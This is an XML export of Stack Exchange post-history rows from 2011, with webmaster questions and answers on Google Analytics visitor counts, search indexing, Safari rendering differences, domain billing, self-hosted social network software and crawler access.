  <row Id="30673" PostHistoryTypeId="3" PostId="13310" RevisionGUID="dab02540-1ea9-46a9-a740-1e89fc48c36c" CreationDate="2011-05-04T16:40:38.680" UserId="3320" Text="&lt;tools&gt;&lt;dead-links&gt;&lt;spellcheck&gt;" />
  <row Id="30674" PostHistoryTypeId="17" PostId="13312" RevisionGUID="bff1cc58-d8dd-4d25-8d29-9fd65b6d3c67" CreationDate="2011-05-04T16:42:37.890" UserId="-1" Comment="from http://stackoverflow.com/questions/5886219/how-does-google-analytics-calculate-the-number-of-visitors/5886297#5886297" Text="" />
  <row Id="30675" PostHistoryTypeId="17" PostId="13313" RevisionGUID="97df70ed-e4fa-44c6-8052-b3dce6394911" CreationDate="2011-05-04T16:42:37.890" UserId="-1" Comment="from http://stackoverflow.com/questions/5886219/how-does-google-analytics-calculate-the-number-of-visitors/5886298#5886298" Text="" />
  <row Id="30676" PostHistoryTypeId="2" PostId="13312" RevisionGUID="f16a21b2-5a6a-4a55-a966-17bd074c89f9" CreationDate="2011-05-04T15:55:50.620" UserDisplayName="Scott Moonen" Text="According to this article, visitor uniqueness is determined by using cookies rather than other identifying factors (such as IP address, browser identification string, etc.): https://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=33087. This means that you will be counted as a single visitor as long as you do not delete your GA cookies -- and even if you change IP addresses while browsing." />
  <row Id="30677" PostHistoryTypeId="2" PostId="13313" RevisionGUID="35b0aad9-9afd-446b-8c7f-247d33584ee6" CreationDate="2011-05-04T15:55:56.093" UserDisplayName="Vincent Ramdhanie" Text="No. Google uses a cookie to track visitors so that counts as one. [This video][1] explains in detail:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://services.google.com/analytics/breeze/en/interpreting_reports_visits/index.html" />
  <row Id="30678" PostHistoryTypeId="2" PostId="13311" RevisionGUID="4596655f-144f-4eec-ae2b-b42a4827f192" CreationDate="2011-05-04T15:48:38.497" UserDisplayName="Kate" Text="If I visit a site 100 times a day (from one IP) does Google Analytics track that as 100 unique visitors?" />
  <row Id="30679" PostHistoryTypeId="1" PostId="13311" RevisionGUID="4596655f-144f-4eec-ae2b-b42a4827f192" CreationDate="2011-05-04T15:48:38.497" UserDisplayName="Kate" Text="How does Google Analytics calculate the number of visitors" />
  <row Id="30680" PostHistoryTypeId="3" PostId="13311" RevisionGUID="4596655f-144f-4eec-ae2b-b42a4827f192" CreationDate="2011-05-04T15:48:38.497" UserDisplayName="Kate" Text="&lt;google-analytics&gt;" />
  <row Id="30681" PostHistoryTypeId="17" PostId="13311" RevisionGUID="37b5426b-fd10-440d-8c70-c6debc83ca4e" CreationDate="2011-05-04T16:42:37.890" UserId="-1" Comment="from http://stackoverflow.com/questions/5886219/how-does-google-analytics-calculate-the-number-of-visitors" Text="" />
  <row Id="30690" PostHistoryTypeId="17" PostId="13317" RevisionGUID="6378fb6a-7ce0-46c3-9368-7734d980b1be" CreationDate="2011-05-04T17:37:03.467" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15058/google-is-not-indexing-my-tumblr-blog-sufficiently/15062#15062" Text="" />
  <row Id="30691" PostHistoryTypeId="2" PostId="13317" RevisionGUID="6f9c980a-e831-459a-a059-cb3939dacc1a" CreationDate="2011-05-04T11:16:39.183" UserDisplayName="kraymer" Text="Adding a sitemap to your website should help, see&#xD;&#xA;http://stackoverflow.com/questions/2239282/why-use-a-google-sitemap/2239365#2239365&#xD;&#xA;&#xD;&#xA;In your case, the procedure to submit a tumblr blog sitemap is described on this [blog page][1]&#xD;&#xA;&#xD;&#xA;[1]:&#xD;&#xA;http://theimpassionedeye.com/post/1518918074/how-to-submit-your-tumblr-blog-sitemap-to-google" />
  <row Id="30692" PostHistoryTypeId="2" PostId="13316" RevisionGUID="c3bc8fb1-6b04-46f5-8fb9-bc9ad2da0700" CreationDate="2011-05-04T07:19:05.153" UserDisplayName="Mehper C. Palavuzlar" Text="I have a 35-day-old blog on [tumblr][1]. I submitted it to Google using &quot;[Add your URL to Google][2]&quot; page about a month ago. However, when I search Google for the content of my blog using the following query, only 5 posts are fetched:&#xD;&#xA;&#xD;&#xA;&gt; [site:mehper.tumblr.com][3]&#xD;&#xA;&#xD;&#xA;I have more than 200 posts on my blog. I'm also using Google Analytics. What else can I do to make Google fully index my blog?&#xD;&#xA;&#xD;&#xA;  [1]: http://mehper.tumblr.com&#xD;&#xA;  [2]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [3]: http://www.google.com/search?q=site:mehper.tumblr.com" />
  <row Id="30693" PostHistoryTypeId="1" PostId="13316" RevisionGUID="c3bc8fb1-6b04-46f5-8fb9-bc9ad2da0700" CreationDate="2011-05-04T07:19:05.153" UserDisplayName="Mehper C. Palavuzlar" Text="Google is not indexing my Tumblr blog sufficiently" />
  <row Id="30694" PostHistoryTypeId="3" PostId="13316" RevisionGUID="c3bc8fb1-6b04-46f5-8fb9-bc9ad2da0700" CreationDate="2011-05-04T07:19:05.153" UserDisplayName="Mehper C. Palavuzlar" Text="&lt;google&gt;&lt;blog&gt;&lt;tumblr&gt;&lt;indexing&gt;" />
  <row Id="30695" PostHistoryTypeId="17" PostId="13316" RevisionGUID="7b77d16b-90bf-4ec5-a58d-8994e06bfcd4" CreationDate="2011-05-04T17:37:03.467" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15058/google-is-not-indexing-my-tumblr-blog-sufficiently" Text="" />
  <row Id="30696" PostHistoryTypeId="2" PostId="13318" RevisionGUID="1bae2518-9d8a-45dd-97a8-e4c2abe708b2" CreationDate="2011-05-04T17:51:32.857" UserId="7289" Text="I have recently engaged in a conversation where were people defending that you should test your websites on Safari for Windows and on Safari for Mac, because they're very different.&#xD;&#xA;As a webmaster, there is this constant concern on having my web applications or websites running on every browser, but I don't have a Mac available for me to try the performance and/or rendering engine.&#xD;&#xA;&#xD;&#xA;Long story short: are there huge differences between Safari for Windows and Mac? Does anyone use Safari for Windows as their main browser and can tell me if it's important for me to test on it too?" />
  <row Id="30697" PostHistoryTypeId="1" PostId="13318" RevisionGUID="1bae2518-9d8a-45dd-97a8-e4c2abe708b2" CreationDate="2011-05-04T17:51:32.857" UserId="7289" Text="Are there huge differences between Safari versions on Windows and Mac OS?" />
  <row Id="30698" PostHistoryTypeId="3" PostId="13318" RevisionGUID="1bae2518-9d8a-45dd-97a8-e4c2abe708b2" CreationDate="2011-05-04T17:51:32.857" UserId="7289" Text="&lt;browsers&gt;&lt;windows&gt;&lt;safari&gt;&lt;mac&gt;" />
  <row Id="30699" PostHistoryTypeId="25" PostId="13311" RevisionGUID="7bed9214-a2a0-45be-9c14-7a00c70a111a" CreationDate="2011-05-04T18:11:24.110" Comment="http://twitter.com/#!/StackWebmasters/status/65840965566468098" />
  <row Id="30700" PostHistoryTypeId="5" PostId="2836" RevisionGUID="1ef10eec-10eb-426a-acf2-109e441b34c8" CreationDate="2011-05-04T18:37:32.987" UserId="1253" Comment="edited body" Text="You have no control over whether or not a website, or anything, goes viral. Going viral is a phenomena where something gets insanely popular for (usually) no apparent reason. Anyone advertising a product/service/website hopes their ad and product go viral but it happening is out of their control. It's more a freak occurance then a created result.&#xD;&#xA;&#xD;&#xA;How you get traffic to your website will vary on the website and its target audience. Without knowing that it's hard to give specific recommendations. But some generalizations that you may wish to try include:&#xD;&#xA;&#xD;&#xA; - Search advertising (Adwords) - If the genre your site is in is very competitive avoid the common search terms and go for long tail searches. Your costs will be lower and your ads will be even better targeted and result in a higher conversion rate.&#xD;&#xA; - Paid advertising on related websites - Putting a text or banner ad on a related website will promote your site to your target audience. If you advertise on a popular website this can drive a lot of traffic to your site and may be less costly then Adwords.-&#xD;&#xA; - Participate in forums and communities related to your topic. **Do not spam them**. Participate as a regular contributer and be sure to put your website in your signature. Assuming you are a regular participant and offer good contributions the other members will be likely to visit your link. (digitalpoint.com forums got started this way by participating at sitepoint.com forums).-&#xD;&#xA; - Comment on related blogs - Similar to above but you comment on related blogs. Once again, do not spam them and offer good contributions.-&#xD;&#xA; - Attempt to get a related website to review your website and publish the results on their website - This basically amounts to free advertising assuming your website is good and they review it as such.&#xD;&#xA;&#xD;&#xA;Directory submissions should be done but they won't really drive any traffic to your website. Using social networks can be done as well, but don't expect too much from them either (but definitely have a twitter account so you can follow any talk about your website).&#xD;&#xA;&#xD;&#xA;And, as always, be patient. Sites don't get popular overnight. It takes time to get the word out and build up a following. Good websites are eventually rewarded with good traffic." />
  <row Id="30701" PostHistoryTypeId="2" PostId="13319" RevisionGUID="7634ace6-a175-4ce7-aca5-78659cf26ee1" CreationDate="2011-05-04T20:25:41.203" UserId="2739" Text="The biggest difference I have noticed is with form elements such as dropdowns and input boxes.&#xD;&#xA;&#xD;&#xA;These can be manipulated easily on Windows Safari (e.g. padding, rounded corners, line-height) but Mac Safari does not adhere to much of this CSS on it's forms.&#xD;&#xA;&#xD;&#xA;I've also noticed further differences between 'desktop' Safari and mobile Safari - i.e. in an iPad.&#xD;&#xA;&#xD;&#xA;(Sorry I can't provide any screenshots to demonstrate this but I'm not in the office at the moment)" />
  <row Id="30702" PostHistoryTypeId="17" PostId="13321" RevisionGUID="4bdde5eb-cde0-4e57-896b-e1b8578c0333" CreationDate="2011-05-04T20:31:44.617" UserId="-1" Comment="from http://serverfault.com/questions/266384/registering-a-domain-name-for-someone-else-with-my-billing-information/266398#266398" Text="" />
  <row Id="30703" PostHistoryTypeId="2" PostId="13321" RevisionGUID="840e4801-bba6-47a4-bcd0-8f4abf423a34" CreationDate="2011-05-04T19:56:54.587" UserDisplayName="DanBig" Text="Short answer, dont do it. You are better off helping them get it setup, using their CC for payment, and making you the administrative contact." />
  <row Id="30704" PostHistoryTypeId="2" PostId="13320" RevisionGUID="0a1a9957-6b32-4c65-812d-832e2dfe2134" CreationDate="2011-05-04T19:28:09.310" UserDisplayName="martani_net" Text="I want to register a domain for someone using my billing information (credit card) but all the contact information are the ones of this person.&#xD;&#xA;&#xD;&#xA;Once I get the domain, I will transfer the logins of the registrars setting page of the domain to this person, I am concerned about if the person will be able to check the billing information or even use them to purchase other domains/services.&#xD;&#xA;&#xD;&#xA;Is there a way to buy a domain name while keeping the billing information not registered in the registrars setting page, or even buy a coupon that the person can use to register the domain name for itself.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;I just found an interesting option on Godaddy : Moving a Domain Name out of Your Account&#xD;&#xA;&#xD;&#xA;&gt; You can use these instructions to move&#xD;&#xA;&gt; a domain name from one account with us&#xD;&#xA;&gt; to another.&#xD;&#xA;&#xD;&#xA;Has anyone tried this before whether it just transfers the domain or the billing information too?" />
  <row Id="30705" PostHistoryTypeId="1" PostId="13320" RevisionGUID="0a1a9957-6b32-4c65-812d-832e2dfe2134" CreationDate="2011-05-04T19:28:09.310" UserDisplayName="martani_net" Text="Registering a domain name for someone else with my billing information" />
  <row Id="30706" PostHistoryTypeId="3" PostId="13320" RevisionGUID="0a1a9957-6b32-4c65-812d-832e2dfe2134" CreationDate="2011-05-04T19:28:09.310" UserDisplayName="martani_net" Text="&lt;domains&gt;" />
  <row Id="30707" PostHistoryTypeId="17" PostId="13320" RevisionGUID="863a0646-9191-4ecc-bc1d-08814a90ddbb" CreationDate="2011-05-04T20:31:44.617" UserId="-1" Comment="from http://serverfault.com/questions/266384/registering-a-domain-name-for-someone-else-with-my-billing-information" Text="" />
  <row Id="30708" PostHistoryTypeId="2" PostId="13322" RevisionGUID="1c3c3905-5592-4361-ba57-4158045a1699" CreationDate="2011-05-04T20:56:10.350" UserId="7292" Text="After our relaunch, we are wanting to find some standard metrics for our first year of performance. We can compare our numbers to last year and set our targets and expectations, but we would like to find an industry standard for B2B websites in Year 1 - whether as a new site or a relaunch. &#xD;&#xA;&#xD;&#xA;Is there a way to find that information? " />
  <row Id="30709" PostHistoryTypeId="1" PostId="13322" RevisionGUID="1c3c3905-5592-4361-ba57-4158045a1699" CreationDate="2011-05-04T20:56:10.350" UserId="7292" Text="Need metrics for expectations/targets" />
  <row Id="30710" PostHistoryTypeId="3" PostId="13322" RevisionGUID="1c3c3905-5592-4361-ba57-4158045a1699" CreationDate="2011-05-04T20:56:10.350" UserId="7292" Text="&lt;metrics&gt;" />
  <row Id="30711" PostHistoryTypeId="25" PostId="13320" RevisionGUID="ca4d041e-8985-4c51-8a2a-8a9377af98c1" CreationDate="2011-05-04T21:11:25.180" Comment="http://twitter.com/#!/StackWebmasters/status/65886268877316096" />
  <row Id="30712" PostHistoryTypeId="5" PostId="8159" RevisionGUID="e3da7e15-e556-42f2-9209-ae025fef7760" CreationDate="2011-05-04T21:42:55.427" UserId="4786" Comment="removed greeting and siguature per FAQ" Text="I have done a search here before and someone's asked a similar question which was helpful but what I need to find out is what the Traffic Value, not the monetary value of a keyword is please?&#xD;&#xA;&#xD;&#xA;Does anyone know what kind of tools or tests I can run to find the traffic value of a keyword?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30713" PostHistoryTypeId="24" PostId="8159" RevisionGUID="e3da7e15-e556-42f2-9209-ae025fef7760" CreationDate="2011-05-04T21:42:55.427" Comment="Proposed by 4786 approved by 108 edit id of 249" />
  <row Id="30714" PostHistoryTypeId="2" PostId="13323" RevisionGUID="ee03551f-9141-4b8a-bc70-8cb598982c75" CreationDate="2011-05-04T21:46:26.997" UserId="7293" Text="If you use your CC for registering the domains, the same card info will be automatically used by the hosting company for further billings/renewals also. There are options to change the card details at the providers end. But it is up to the one who own the domain.&#xD;&#xA;&#xD;&#xA;So you can decide whether or not to do this. If you are confident that your friend" />
  <row Id="30715" PostHistoryTypeId="2" PostId="13324" RevisionGUID="e65dc132-abd4-4b6a-8ca8-30f0a626e60b" CreationDate="2011-05-04T22:14:41.793" UserId="7198" Text="It depends on the 'standard metrics' you hope to measure, but you might like to consider these options:&#xD;&#xA;&#xD;&#xA;1. Compare email campaign metrics with those in your industry using &lt;a href=&quot;http://blog.mailchimp.com/compare-your-email-stats-to-industry-benchmarks/&quot;&gt;MailChimp's Benchmark feature.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;2. Compare approximate traffic with competitors using &lt;a href=&quot;http://trends.google.com/websites?q=wikipedia.org%2C+imdb.com&amp;geo=all&amp;date=all&amp;sort=0&quot;&gt;Google Trends.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Metrics like conversion rate tend to be harder to compare because they're more closely guarded, but you can find &lt;a href=&quot;http://www.clickz.com/clickz/column/1691779/benchmarking-average-conversion-rate&quot;&gt;examples from marketing and research companies&lt;/a&gt; to give you an approximation if you search hard enough." />
  <row Id="30716" PostHistoryTypeId="2" PostId="13325" RevisionGUID="b72176a3-bb41-4d21-9e18-e2ecce7faadd" CreationDate="2011-05-04T22:12:53.217" UserDisplayName="metanaito" Text="Is there any app similar to Facebook that you can install on your own server?&#xD;&#xA;&#xD;&#xA;Like a community app where users can create their own account and post messages, blogs, photos, add friends, etc.&#xD;&#xA;&#xD;&#xA;Except, it can't be a hosted solution.  It would have to be installable on a private server or intranet." />
  <row Id="30717" PostHistoryTypeId="1" PostId="13325" RevisionGUID="b72176a3-bb41-4d21-9e18-e2ecce7faadd" CreationDate="2011-05-04T22:12:53.217" UserDisplayName="metanaito" Text="Is there any app similar to Facebook that you can install on your own server?" />
  <row Id="30718" PostHistoryTypeId="3" PostId="13325" RevisionGUID="b72176a3-bb41-4d21-9e18-e2ecce7faadd" CreationDate="2011-05-04T22:12:53.217" UserDisplayName="metanaito" Text="&lt;web-applications&gt;" />
  <row Id="30719" PostHistoryTypeId="17" PostId="13325" RevisionGUID="b9dadb93-2604-465a-af0d-0ad49f7e6b8e" CreationDate="2011-05-04T22:15:05.163" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15075/is-there-any-app-similar-to-facebook-that-you-can-install-on-your-own-server" Text="" />
  <row Id="30720" PostHistoryTypeId="2" PostId="13326" RevisionGUID="b11424f2-5935-4531-ac23-62dceb5dd2e8" CreationDate="2011-05-04T22:23:30.023" UserId="7198" Text="I recommend &lt;a href=&quot;http://buddypress.org/&quot;&gt;BuddyPress.&lt;/a&gt; It's a free, open source, extendable, well maintained extension to WordPress that provides Facebook-style features on a self-hosted setup.&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://buddypress.org/download/&quot;&gt;download instructions are here.&lt;/a&gt;" />
  <row Id="30721" PostHistoryTypeId="2" PostId="13327" RevisionGUID="0354bf8b-b3c1-434a-8874-02725a494a85" CreationDate="2011-05-04T22:26:39.893" UserId="25" Text="Take a look at Diaspora (https://joindiaspora.com/)" />
  <row Id="30722" PostHistoryTypeId="2" PostId="13328" RevisionGUID="4f39b6e1-1910-4052-a743-27b352131118" CreationDate="2011-05-04T23:20:10.743" UserId="6858" Text="[A1WebsiteAnalyzer](http://www.microsystools.com/products/website-analyzer/) is easy to use. You can automate via Windows scheduled tasks.&#xD;&#xA;&#xD;&#xA;I haven't used [InSpyder](http://www.inspyder.com/products/InSite/Default.aspx) but it's the same price and does the same thing." />
  <row Id="30723" PostHistoryTypeId="2" PostId="13329" RevisionGUID="2221d065-e4ef-43f1-aa0d-d4270835f591" CreationDate="2011-05-04T23:25:42.160" UserId="6858" Text="[Oxwall](http://www.oxwall.org/) and [Elgg](http://www.elgg.org/) are both open source and free, so you can self-host." />
  <row Id="30724" PostHistoryTypeId="2" PostId="13330" RevisionGUID="483d7107-ef98-4c14-83d2-0dc44552a9ec" CreationDate="2011-05-04T23:33:51.523" UserId="4502" Text="&lt;a href=&quot;http://www.boonex.com/dolphin&quot;&gt;Dolphin&lt;/a&gt;" />
  <row Id="30725" PostHistoryTypeId="2" PostId="13331" RevisionGUID="dc2e3a9f-0e32-40dd-81c0-0f7b8bf9027d" CreationDate="2011-05-04T23:34:16.993" UserId="6858" Text="One to remember is the difference in Mac's rendering of fonts, and that seems to be at it's most extreme in Safari. &#xD;&#xA;&#xD;&#xA;I just took these screenshots on my Mac, and you can see that Safari renders the line a bit bigger. Over lots of text, this can have a significant effect on the size of divs.&#xD;&#xA;&#xD;&#xA;I don't have Windows to hand, so if somebody else could post a screengrab of Safari on Windows that would show the difference.&#xD;&#xA;&#xD;&#xA;**Firefox**&#xD;&#xA;![Mac Firefox][1]&#xD;&#xA;&#xD;&#xA;**Safari**&#xD;&#xA;![Mac Safari][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/2ZDIz.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/HSwtE.png" />
  <row Id="30726" PostHistoryTypeId="2" PostId="13332" RevisionGUID="b9d2acf4-e938-4db3-ac87-66dda90ca591" CreationDate="2011-05-04T23:42:58.363" UserId="6858" Text="Google doesn't just start indexing the moment you publish. First you go into a 'sandbox', while Google figures out whether or not you are spam.&#xD;&#xA;&#xD;&#xA;When you are still very small (and remember you are competing with sites who receive in a second the kind of traffic you probably receive in a month) Google does not update it's index very often - once every 2 or 3 weeks would be about normal for such a new site.&#xD;&#xA;&#xD;&#xA;Add your URL to Google does very little - it's there to make people feel better, but nobody has ever found evidence that Google does anything with the entries at all.&#xD;&#xA;&#xD;&#xA;The answer is... be patient. Continue writing good content, work on getting good quality backlinks from relevant sites, and wait for the algorithm to increase its index." />
  <row Id="30727" PostHistoryTypeId="2" PostId="13333" RevisionGUID="f11a759d-b2c0-4155-929b-336c984e6c57" CreationDate="2011-05-04T23:55:54.860" UserId="5574" Text="I have a site that I want to continue testing before I make public, so I don't want Google to start crawling the site as there will be a large amount of garbage content during testing.&#xD;&#xA;&#xD;&#xA;I currently have authentication set up using htpasswd, will this prevent site crawlers or robots from crawling my site?" />
  <row Id="30728" PostHistoryTypeId="1" PostId="13333" RevisionGUID="f11a759d-b2c0-4155-929b-336c984e6c57" CreationDate="2011-05-04T23:55:54.860" UserId="5574" Text="Does htpasswd authentication prevent Google from crawling my site?" />
  <row Id="30729" PostHistoryTypeId="3" PostId="13333" RevisionGUID="f11a759d-b2c0-4155-929b-336c984e6c57" CreationDate="2011-05-04T23:55:54.860" UserId="5574" Text="&lt;crawling&gt;&lt;authentication&gt;&lt;google-crawlers&gt;" />
  <row Id="30730" PostHistoryTypeId="25" PostId="13318" RevisionGUID="3e88ee24-a824-42ce-bb41-a867165c6c2a" CreationDate="2011-05-05T00:11:26.470" Comment="http://twitter.com/#!/StackWebmasters/status/65931572351729664" />
  <row Id="30731" PostHistoryTypeId="2" PostId="13334" RevisionGUID="8648eaba-798f-4853-b5f5-6137372ae7ef" CreationDate="2011-05-05T00:14:54.557" UserId="7296" Text="I notice when I do a google search for some keywords I get back some website hits that do not match my search criteria but instead redirect me to their search page with my google search terms pre-populated.&#xD;&#xA;&#xD;&#xA;For example If I search for anything to do with Salesforce I get back this site http://blog.jeffdouglas.com EVERYTIME.&#xD;&#xA;&#xD;&#xA;For instance if I search &quot;visualforce component blog&quot;&#xD;&#xA;&#xD;&#xA;In google results the 4th or 5th result is http://blog.jeffdouglas.com/?s=visualforce+component+blog Even thought that page does not contain my search phrase but instead brings up a list of items that it thinks will match by terms.&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;" />
  <row Id="30732" PostHistoryTypeId="1" PostId="13334" RevisionGUID="8648eaba-798f-4853-b5f5-6137372ae7ef" CreationDate="2011-05-05T00:14:54.557" UserId="7296" Text="Make Website turn up in Google Search Result for key words" />
  <row Id="30733" PostHistoryTypeId="3" PostId="13334" RevisionGUID="8648eaba-798f-4853-b5f5-6137372ae7ef" CreationDate="2011-05-05T00:14:54.557" UserId="7296" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="30734" PostHistoryTypeId="2" PostId="13335" RevisionGUID="ce261471-d9fa-44df-b9b7-17f20effebba" CreationDate="2011-05-05T00:16:46.490" UserId="7296" Text="Yes, if the site requires authentication then robots will not be able to crawl it.&#xD;&#xA;&#xD;&#xA;You can also specify a robots.txt file so that the entire site is disallowed" />
  <row Id="30735" PostHistoryTypeId="5" PostId="13334" RevisionGUID="5c286521-5e2c-4552-8b42-a885457063b1" CreationDate="2011-05-05T00:34:48.337" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I notice when I do a google search for some keywords I get back some website hits that do not match my search criteria but instead redirect me to their search page with my google search terms pre-populated.&#xD;&#xA;&#xD;&#xA;For example If I search for anything to do with Salesforce I get back this site http://blog.jeffdouglas.com EVERYTIME.&#xD;&#xA;&#xD;&#xA;For instance if I search &quot;visualforce component blog&quot;&#xD;&#xA;&#xD;&#xA;In google results the 4th or 5th result is http://blog.jeffdouglas.com/?s=visualforce+component+blog Even thought that page does not contain my search phrase but instead brings up a list of items that it thinks will match by terms.&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;" />
  <row Id="30736" PostHistoryTypeId="10" PostId="13334" RevisionGUID="0b889773-deb2-4b34-a127-7abe64ec98e1" CreationDate="2011-05-05T00:34:47.557" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30743" PostHistoryTypeId="2" PostId="13337" RevisionGUID="7755fea9-8c9c-481f-8a9c-1e6dc16135ac" CreationDate="2011-05-05T01:32:03.957" UserId="5340" Text="I've seen a variety of CMS engines used for large university web sites, but most make it difficult to work with the concept of delegating an area for separate units. [Plone][1] seems to me to have the best enterprise-compatible security system to allow this sort of independence of separate areas. It also integrates very well with LDAP and other systems. Downside is that it uses its own custom database and web server, although you're likely to want Apache or something similar in front of it. If the university can handle the systems requirements, it can be an easy sell.&#xD;&#xA;&#xD;&#xA;If you just want a simple system that gets out of your way, [DokuWiki][2] is worth looking at, though probably doesn't have all the features you want.&#xD;&#xA;&#xD;&#xA;For more CMS testing, you can visit OpenSourceCMS.com, though as their name suggests, they are dedicated to open source products. That may be an advantage if you can find one that fits your needs, as there's no initial cost. Bear in mind, though, that you should consider the cost of supporting such a CMS; the most popular ones tend to have good community-led support but less-popular ones can leave you high and dry while your high-profile site languishes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://plone.org/&#xD;&#xA;  [2]: http://www.dokuwiki.org/" />
  <row Id="30744" PostHistoryTypeId="16" PostId="13325" RevisionGUID="e6ca24e4-ff4e-43d2-a8ca-223ceee011b4" CreationDate="2011-05-05T01:33:44.903" UserId="1064" />
  <row Id="30745" PostHistoryTypeId="16" PostId="13326" RevisionGUID="c8ee3469-cd14-4e5c-99f3-79d21d243cd6" CreationDate="2011-05-05T01:33:44.903" UserId="1064" />
  <row Id="30746" PostHistoryTypeId="16" PostId="13327" RevisionGUID="5ce2d546-016e-42f5-8034-b456013bc265" CreationDate="2011-05-05T01:33:44.903" UserId="1064" />
  <row Id="30747" PostHistoryTypeId="16" PostId="13329" RevisionGUID="5e01af68-7b9a-4a39-b28b-fa0d11233de3" CreationDate="2011-05-05T01:33:44.903" UserId="1064" />
  <row Id="30748" PostHistoryTypeId="16" PostId="13330" RevisionGUID="0a937895-7521-4503-a8f0-21aceb64a3fa" CreationDate="2011-05-05T01:33:44.903" UserId="1064" />
  <row Id="30749" PostHistoryTypeId="25" PostId="13333" RevisionGUID="d0155e3f-ebd3-40c3-982d-d8138aaab442" CreationDate="2011-05-05T03:11:27.250" Comment="http://twitter.com/#!/StackWebmasters/status/65976873238265856" />
  <row Id="30750" PostHistoryTypeId="2" PostId="13338" RevisionGUID="28f849c5-0012-4b3b-a6f1-6a2f407eac58" CreationDate="2011-05-05T04:47:16.177" UserId="5013" Text="I'm designing a website and have been told that I need a home button. Personally, I disagree feeling that pretty much everyone on the Internet has been taught that clicking the banner on a site takes them to the homepage.&#xD;&#xA;&#xD;&#xA;I think on my site, the home button in the navigation makes it look kind of je ne sais quoi... &#xD;&#xA;...tacky. However, I don't want to leave my users in the dark.&#xD;&#xA;&#xD;&#xA;Home button:&#xD;&#xA;To  be or not to be? That is the question." />
  <row Id="30751" PostHistoryTypeId="1" PostId="13338" RevisionGUID="28f849c5-0012-4b3b-a6f1-6a2f407eac58" CreationDate="2011-05-05T04:47:16.177" UserId="5013" Text="Does my website need a home button?" />
  <row Id="30752" PostHistoryTypeId="3" PostId="13338" RevisionGUID="28f849c5-0012-4b3b-a6f1-6a2f407eac58" CreationDate="2011-05-05T04:47:16.177" UserId="5013" Text="&lt;website-design&gt;&lt;design&gt;&lt;navigation&gt;" />
  <row Id="30753" PostHistoryTypeId="2" PostId="13339" RevisionGUID="35aceec1-ed74-42d0-a428-60b07587bc9e" CreationDate="2011-05-05T05:04:47.530" UserId="3948" Text="Having a website that generates and receives JSON requests via AJAX, I failed to find a tool that shows me live the communication including the content of the JSON calls.&#xD;&#xA;&#xD;&#xA;I thought that the Google Chrome developer tools or the IE 9 developer tools do have such a feature, but again, I failed.&#xD;&#xA;&#xD;&#xA;Searching Google, I failed too.&#xD;&#xA;&#xD;&#xA;**So my question is:**&#xD;&#xA;&#xD;&#xA;Is there a client-side tool to monitor the content of JSON requests that a website sends to the server?" />
  <row Id="30754" PostHistoryTypeId="1" PostId="13339" RevisionGUID="35aceec1-ed74-42d0-a428-60b07587bc9e" CreationDate="2011-05-05T05:04:47.530" UserId="3948" Text="Monitoring JSON requests send/received from the browser?" />
  <row Id="30755" PostHistoryTypeId="3" PostId="13339" RevisionGUID="35aceec1-ed74-42d0-a428-60b07587bc9e" CreationDate="2011-05-05T05:04:47.530" UserId="3948" Text="&lt;javascript&gt;&lt;ajax&gt;" />
  <row Id="30756" PostHistoryTypeId="2" PostId="13340" RevisionGUID="136ef3c6-11dd-46af-892c-99156b2582a7" CreationDate="2011-05-05T05:06:50.553" UserId="7303" Text="Other says that blogengine powered by aspx is really good for blogging but most people say that wordpress is still the best and friendly blogging platform." />
  <row Id="30757" PostHistoryTypeId="2" PostId="13341" RevisionGUID="d299b40b-0da1-4276-9ff1-8fe7a91e8e9a" CreationDate="2011-05-05T05:46:52.077" UserId="7246" Text="I bought a new domain [staygeo.com][1] and pointed my blogger blog to [gis.staygeo.com][2]. I have checked the box in blogger publishing settings saying *Redirect staygeo.com to gis.staygeo.com*. Still if I just type [http://staygeo.com/][3], I see **Not Found** message. What can be done about it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://staygeo.com" />
  <row Id="30758" PostHistoryTypeId="1" PostId="13341" RevisionGUID="d299b40b-0da1-4276-9ff1-8fe7a91e8e9a" CreationDate="2011-05-05T05:46:52.077" UserId="7246" Text="Blogger not redirecting" />
  <row Id="30759" PostHistoryTypeId="3" PostId="13341" RevisionGUID="d299b40b-0da1-4276-9ff1-8fe7a91e8e9a" CreationDate="2011-05-05T05:46:52.077" UserId="7246" Text="&lt;domains&gt;&lt;redirects&gt;&lt;domain-names&gt;&lt;blogger&gt;" />
  <row Id="30760" PostHistoryTypeId="2" PostId="13342" RevisionGUID="e6e470ab-0755-415e-9e46-63c647dc36bf" CreationDate="2011-05-05T05:51:43.080" UserId="7305" Text="Depending on what type of setup you have for your own server(s), it may be more cost effective from a performance standpoint to offload this to someone/something that specializes in serving this type of content (i.e. S3/Cloudfront/CDN's).  &#xD;&#xA;&#xD;&#xA;Advantages of external hosting: less server needs internally; global distribution of content&#xD;&#xA;&#xD;&#xA;Disadvantages: affected by external company's outages (although w/ how these CDN's setup their network, this seems to be less of an issue).&#xD;&#xA;&#xD;&#xA;" />
